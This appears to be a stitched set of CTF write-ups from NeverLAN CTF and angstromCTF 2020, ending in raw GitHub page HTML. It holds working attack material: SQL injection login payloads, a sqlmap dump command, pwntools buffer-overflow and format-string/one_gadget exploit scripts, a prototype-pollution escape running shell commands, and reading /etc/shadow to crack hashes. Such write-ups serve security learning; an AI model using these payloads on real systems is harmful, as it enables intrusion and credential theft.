2018 Unfortunately the SaintCon site is not 100% functional so we're stuck... Then we guses that keynoting a conference is pretty cool and they must have posted something to commemorate the event on [their Twitter](https://twitter.com/NeverLanCTF). They actually link us [their slides](https://twitter.com/NeverLanCTF/status/1044640438131388422) The flag is right next to a picture of Rick Astley :p ### The LinkDuring the competition there were streams for music and the like. If we go under their music tab and select track #2 we see a YouTube video. Exploring the comments reveals a flag that someone commented. ### Thats just PhreakyWe Google for `01 September 2017 | 14:01 phreak`. We find the first [Darknet Diaries episode](https://darknetdiaries.com/episode/1/). By some stroke of pure geniosity we right click to view the source code of the site and the flag is at the bottom. ## Web### Cookie Monster> https://challenges.neverlanctf.com:1110 The title hints that it has something to do with cookies. When we visit the site, it says `He's my favorite Red guy`. We guess this to be `Elmo` from Sesame Street. We look at the cookies, and find a cookie `Red_Guy's_Name: NameGoesHere`. We replace `NameGoesHere` with `elmo`. We get the flag by refreshing the tab. ### Stop the Bot> https://challenges.neverlanctf.com:1140 The site looks pretty boring, so let's take a look at `/robots.txt`, which is hinted at by the title:```User-agent: *Disallow: /Disallow: flag.txt``` We navigate to `/flag.txt` for the flag. ### SQL Breaker> https://challenges.neverlanctf.com:1160/ Simple SQL injection in the login page.Note that the password does not matter, only the username is vulnerable. The goal is to log in as an admin. Payload:```Username: ' OR 1=1;-- Password: asdf``` Return to the home page for the flag. ### SQL Breaker 2> https://challenges.neverlanctf.com:1165/ Simple SQL injection in the login page.Note that the password does not matter, only the username is vulnerable. The goal is to log in as an admin. This time, there seems to be multiple accounts, and the previous payload logs us in as `John`, who is not an admin. We have to skip over John's account using SQL's `LIMIT` to log in as admin. Payload:```Username: ' OR 1=1, LIMIT 1;-- Password: asdf``` Return to the home page for the flag. ### Follow Me> https://7aimehagbl.neverlanctf.com This website redirects so many times your browser just gives up. We can use Python's `requests` module and the `follow_redirects=False` option:```pythonimport requestsp = requests.get("https://7aimehagbl.neverlanctf.com", allow_redirects=False)```On the first visit (using Python), the page states where it's redirecting. How convenient. How about we just follow the trail? ```pythonimport requests url = "https://7aimehagbl.neverlanctf.com" while True: p = requests.get(url, allow_redirects=False) print(p.text) url = "https://" + p.text.split()[-1]``` The flag is in one of the sites that we get redirected to. ### Browser Bias> https://challenges.neverlanctf.com:1130 When we try to visit the site normally, it says that the site is only for `commodo 64` browsers. We guess that the server tells what browser we are using based on the User-Agent header of the request. When we Google for Commodo 64 browsers, we end up with a browser named `Contiki`. We search for the Contiki User-Agent. We find a [really long list of User-Agents](https://gist.github.com/dstufft/2502524) that ever downloaded something from PyPI on GitHub Gists, and we Ctrl-F for Contiki. We find the User-Agent for Contiki as `Contiki/1.0 (Commodore 64; http://dunkels.com/adam/contiki/)`. We set that as our User-Agent using Python's `requests`, and request the home page, which gives us the flag. ## Chicken LittleWe basically have to ssh onto a server and retrieve the flag from it. We start from Chicken Little 1. We use the flag from Chicken Little 1 as the password for the ssh onto Chicken Little 2, etc. ### Chicken Little 1Use an `ls` and find `Welcome.txt`.Read the file for the flag. ### Chicken Little 2Use an `ls -a` (-a flag to show hidden files) and find `.chicken.txt`.Read the file for the flag. ### Chicken Little 3We find `BAWK.txt` with a bunch of "BAWK"s in it. Knowing the password format we guess that this password also has a `-` in it, so we grep for `-` in the file for the flag. ### Chicken Little 4We find a binary file with the flag presumably hidden in it. We can use `strings` to first extract the printable strings, then grep for `-` in it, which gives the flag. ### Chicken Little 5We can use `binwalk -e` to extract files from the file, giving us a file with the flag. ### Chicken Little 6We can use `scp` to transfer the file to our local machine since `curl` was removed. `scp -P 3333 [email protected]:~/chicken-little.png .` The flag is visible in the image. ### Chicken Little 7We are told we need to find the password to the user `level7` on the system. We read `/etc/shadow` for the `level7` password hash. We generate a wordlist of all possible 4-character combinations using `crunch 1 4 > pass.txt`. We can use `hashcat -m 1800 -a 0 h.hash pass.txt` to eventually break the hash (it was supposed to take ~15 minutes). I used a brute-force script on a remote server because my 2011 mac really did not like running SHA512 a lot of times. ## Trivia### Milk Please> Trivia Question: a reliable mechanism for websites to remember stateful information. Yummy!>It's talking about cookies, which is the flag.### Professional Guessing> The process of attempting to gain Unauthorized access to restricted systems using common passwords or algorithms that guess passwords Google the description. An article defines the description for the term "password cracking", which is the flag.### Base 2^6> A group of binary-to-text encoding schemes that represent binary data in an ASCII string format by translating it into a radix-64 representation `Radix-64` basically tells us that the flag is base64. ### AAAAAAAAAAAAAA! I hate CVEs> This CVE reminds me of some old school exploits. If flag is enabled in sudoers We Google `If flag is enabled in sudoers cve` and find [this site](https://www.exploit-db.com/exploits/47995), which has the flag in it. ### Rick Rolled by the NSA> This CVE Proof of concept Shows NSA.go<span>v</span> playing "Never Gonna Give You Up," by 1980s heart-throb Rick Astley.Use the CVE ID for the flag. flag{CVE-?????????} I remember seeing this as a meme on Reddit :laughing:Googling the description gives news articles detailing the correct CVE ID for the flag.
# No Canary (470 solves) main: ```c++int main(int argc, const char **argv, const char **envp){ char v4; __gid_t rgid; setvbuf(stdin, 0LL, 2, 0LL); setvbuf(_bss_start, 0LL, 2, 0LL); rgid = getegid(); setresgid(rgid, rgid, rgid); puts("Ahhhh, what a beautiful morning on the farm!\n"); puts(" _.-^-._ .--."); puts(" .-' _ '-. |__|"); puts(" / |_| \\| |"); puts(" / \\ |"); puts(" /| _____ |\\ |"); puts(" | |==|==| | |"); puts(" | |--|--| | |"); puts(" | |==|==| | |"); puts("^^^^^^^^^^^^^^^^^^^^^^^^\n"); puts("Wait, what? It's already noon!"); puts("Why didn't my canary wake me up?"); puts("Well, sorry if I kept you waiting."); printf("What's your name? "); gets(&v4;; // vuln function printf("Nice to meet you, %s!\n", &v4;; return 0;}``` Solution: ```pythonfrom pwn import * r = remote('shell.actf.co', 20700) payload = b''payload += b'A'*40payload += p64(0x401186)r.sendafter('name? ', payload)r.interactive()``` ```bash$ ls Nice to meet you, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x86\x11! actf{that_gosh_darn_canary_got_me_pwned!} Segmentation fault```
I tried to find a user-agent, because I remembered one of Def-con web prob, which I should really find a user-agent. ```pythonimport requests def exp(useragent): headers = { 'authority': 'agents.2020.chall.actf.co', 'pragma': 'no-cache', 'cache-control': 'no-cache', 'upgrade-insecure-requests': '1', 'sec-fetch-dest': 'document', 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9', 'sec-fetch-site': 'same-origin', 'sec-fetch-mode': 'navigate', 'sec-fetch-user': '?1', 'referer': 'https://agents.2020.chall.actf.co/', 'accept-language': 'en-US,en;q=0.9', 'user-agent': useragent } response = requests.get('https://agents.2020.chall.actf.co/login', headers=headers) res_text = response.text if "Welcome" in res_text: print(res_text) if __name__ == "__main__": #lists - https://github.com/tamimibrahim17/List-of-user-agents with open('Safari.txt', 'r') as f: datas = f.read() for data in datas.split("\n"): exp(data)``` It did not work. There was SQLi with the user agent as per the problem's source code. I was a little bit lazy about SQLi, so I ran Sql-map. :) `sqlmap -u https://agents.2020.chall.actf.co/login? --headers="User-Agent: *" --dbms=mysql --level=5 --risk=3 --dump` I got a flag.`actf{nyoom_1_4m_sp33d} `
The challenge is about Python jailbreak.We're allowed to send alphanumeric characters and 5 symbols: `.`/`,`/`-`/`(`/`)` Since `ctypes` is loaded, we can use this to execute our shellcode. [writeup](https://ptr-yudai.hatenablog.com/#394pts-Jailbreak-4-solves)
For CaaSio we had access to a calculator.Later in the execution our query is `eval`'d so obviously we need to run something interesting there. There are a lot of details involved so I'll start with the basic ones. ```jsif (name.length > 10) { console.log("Your name is too long, I can't remember that!"); return;}user.name = name;if (user.name == "such_a_trusted_user_wow") { user.trusted = true;}``` The code above stops us from inputing a name bigger than 10 characters,so no way you'll get your `such_a_trusted_user_wow`. ```jswhile (user.queries < 3)``` This stops us from making more than 3 queries, but we'll only need two! ```jsif (prompt.length > 200) { console.log("That's way too long for me!"); continue;}``` To finish the boring stuff, we cannot send a command with more than 200 characters. Still, no problem. Let's get to the interesting stuff. ```jslet reg = /(?:Math(?:(?:\.\w+)|\b))|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)/g// ......if (!user.trusted) { prompt = (prompt.match(reg) || []).join``;}``` Given we are not trusted, queries we send are filtered by `reg`.Effectively stopping most possible attempts. ```jsObject.freeze(global);Object.freeze(Math);``` This stops us from modifying `Math`, however it is only a shallow freeze.This means that members of `Math` are not frozen, we will be taking advantage of that to get our trusted execution going! So, starting with the regex, we can write `Math.any_kind_of_text`,including `Math.__proto__`.While `__proto__` cannot be reassigned, we can extend it, however we cannot write `Math.__proto__.obj`, as `obj` will be cut out. Entering lambdas!We can write `()=>` and while this does not make a multi line lambda, it allows us to make one action at a time.Enabling composition! We have our ingredients together!First we need to get trusted. ```js((Math)=>(Math.trusted=1))(((Math)=>(Math.__proto__))(Math))``` You may be confused, in normal JS the code above looks like: ```jsfunction (Math) { Math.trusted = 1;}( function (Math) { return Math.__proto__; }(Math));``` Which in turn looks more like: ```jsfunction f(x) { return x.__proto__} function g(x) { return x.trusted = 1;} g(f(Math));``` Why does this give us a trusted user? `Math` inherits from `Object`, see [here](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math), which means that when we mutate `Math.__proto__` we are mutating `Object.__proto__`, thus mutating every object, hence why `user.trusted` will be set to `1`. So now we just need to read the file. ```jsconst { exec } = require("child_process"); exec("cat /ctf/flag.txt", (error, stdout, stderr) => { console.log(`stdout: ${stdout}`);});``` Running the code above, minified, will yield the flag. ```actf{pr0t0typ3s_4re_4_bl3ss1ng_4nd_4_curs3}```
```from pwn import * #r=process('library_in_c')r=remote('shell.actf.co', 20201) #libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')libc = ELF('libc.so.6')elf=ELF('library_in_c') puts_got = elf.got['puts'] r.sendlineafter('name?', '%9$saaaa' + p64(puts_got)) r.recvuntil('there ') puts_adr = u64(r.recvuntil('aaaa')[:-4].ljust(8, '\x00')) print hex(puts_adr) offset = puts_adr - libc.symbols['puts'] one_gadget = offset + 0x4526a print hex(offset) print hex(one_gadget) raw_input() low_word = one_gadget & 0xffffhigh_byte= (one_gadget & 0xff0000)>>16hign_byte_need = ((256 - low_word%256)+high_byte)&0xffprint hex(hign_byte_need)r.sendlineafter('check out?', ('%'+str(low_word)+'c'+'%20$hn'+'%'+str(hign_byte_need)+'c'+'%21$hhn').ljust(32,'a')+p64(puts_got)+p64(puts_got+2)) r.interactive()```
Source code:```import random, timeimport stringimport base64import os def otp(a, b): r = "" for i, j in zip(a, b): r += chr(ord(i) ^ ord(j)) return r def genSample(): p = ''.join([string.ascii_letters[random.randint(0, len(string.ascii_letters)-1)] for _ in range(random.randint(1, 30))]) k = ''.join([string.ascii_letters[random.randint(0, len(string.ascii_letters)-1)] for _ in range(len(p))]) x = otp(p, k) return x, p, k random.seed(int(time.time())) print("Welcome to my one time pad service!\nIt's so unbreakable that *if* you do manage to decrypt my text, I'll give you a flag!")print("You will be given the ciphertext and key for samples, and the ciphertext for when you try to decrypt. All will be given in base 64, but when you enter your answer, give it in ASCII.")print("Enter:")print("\t1) Request sample")print("\t2) Try your luck at decrypting something!") while True: choice = int(input("> ")) if choice == 1: x, p, k = genSample() print(base64.b64encode(x.encode()).decode(), "with key", base64.b64encode(k.encode()).decode()) elif choice == 2: x, p, k = genSample() print(base64.b64encode(x.encode()).decode()) a = input("Your answer: ").strip() if a == p: print(os.environ.get("FLAG")) break else: print("Wrong! The correct answer was", p, "with key", k)``` After analysis of the source code, we can notice that seed for the random is the time of the connection to the server:`random.seed(int(time.time()))` Since we can get the sample, we can easily bruteforce the seed and decrypt the message to get the flag. The script we use is the following: ```import random, timeimport stringimport base64import os def otp(a, b): r = "" for i, j in zip(a, b): r += chr(ord(i) ^ ord(j)) return r def genSample(): p = ''.join([string.ascii_letters[random.randint(0, len(string.ascii_letters)-1)] for _ in range(random.randint(1, 30))]) k = ''.join([string.ascii_letters[random.randint(0, len(string.ascii_letters)-1)] for _ in range(len(p))]) x = otp(p, k) return x, p, k times = [int(time.time()) - x for x in range(0, 60)] x_ = input("x: ")k_ = input("k: ") print(f"x_: {x_}")print(f"k_: {k_}") for t in times: random.seed(int(t)) x, p, k = genSample() if x_ == base64.b64encode(x.encode()).decode() and k_ == base64.b64encode(k.encode()).decode(): print(f"seed: {t}") break x, p, k = genSample()print(p)``` `otp` and `genSample` functions are copied from the source code of the server, and we just try to bruteforce the seed by giving the sample encryption as an input.Once we get the same result of encryption as one from the server, we have found the seed, so we can easily print the next encryption and type it in the server to get the flag:actf{one_time_pad_more_like_i_dont_like_crypto-1982309} P.S. Of course we could have used `pwntools` or `requests` or any other module to make everything automated, but we didn't care about it :3
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" /> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script> <title>writeups/writeups/2020/angstromCTF/whooooosh at master · guysudai1/writeups · GitHub</title> <meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)"> <meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6"> <meta name="request-id" content="C6F5:76EE:1CC92259:1DA637D7:64122191" data-pjax-transient="true"/><meta name="html-safe-nonce" content="8b9627f9654ca9ecc43a51e7bc48aea63aad05ff78e6250382f060fb8990018b" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJDNkY1Ojc2RUU6MUNDOTIyNTk6MURBNjM3RDc6NjQxMjIxOTEiLCJ2aXNpdG9yX2lkIjoiNzA1NDEwOTk1MTQwNTQ2NjAwMSIsInJlZ2lvbl9lZGdlIjoiZnJhIiwicmVnaW9uX3JlbmRlciI6ImZyYSJ9" data-pjax-transient="true"/><meta name="visitor-hmac" content="c82872ba26d5fe0b914f646dda6365961991b34afc4fc2a2e3468955ba65854a" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:183327322" data-turbo-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" /> <meta name="selected-link" value="repo_source" data-turbo-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I"> <meta name="octolytics-url" content="https://collector.github.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" /> <meta name="user-login" content=""> <meta name="viewport" content="width=device-width"> <meta name="description" content="My CTF writeups. Contribute to guysudai1/writeups development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/f2677adf5e28153acdb5897eb8ffa95df75f60110e4dcd0f3a1a046d90577789/guysudai1/writeups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="writeups/writeups/2020/angstromCTF/whooooosh at master · guysudai1/writeups" /><meta name="twitter:description" content="My CTF writeups. Contribute to guysudai1/writeups development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/f2677adf5e28153acdb5897eb8ffa95df75f60110e4dcd0f3a1a046d90577789/guysudai1/writeups" /><meta property="og:image:alt" content="My CTF writeups. Contribute to guysudai1/writeups development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="writeups/writeups/2020/angstromCTF/whooooosh at master · guysudai1/writeups" /><meta property="og:url" content="https://github.com/guysudai1/writeups" /><meta property="og:description" content="My CTF writeups. Contribute to guysudai1/writeups development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/"> <meta name="hostname" content="github.com"> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS"> <meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload"> <meta name="turbo-cache-control" content="no-preview" data-turbo-transient=""> <meta data-hydrostats="publish"> <meta name="go-import" content="github.com/guysudai1/writeups git https://github.com/guysudai1/writeups.git"> <meta name="octolytics-dimension-user_id" content="30984979" /><meta name="octolytics-dimension-user_login" content="guysudai1" /><meta name="octolytics-dimension-repository_id" content="183327322" /><meta name="octolytics-dimension-repository_nwo" content="guysudai1/writeups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="183327322" /><meta name="octolytics-dimension-repository_network_root_nwo" content="guysudai1/writeups" /> <link rel="canonical" href="https://github.com/guysudai1/writeups/tree/master/writeups/2020/angstromCTF/whooooosh" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive"> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button> <div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <div class="flex-1"> Sign up </div> <div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div 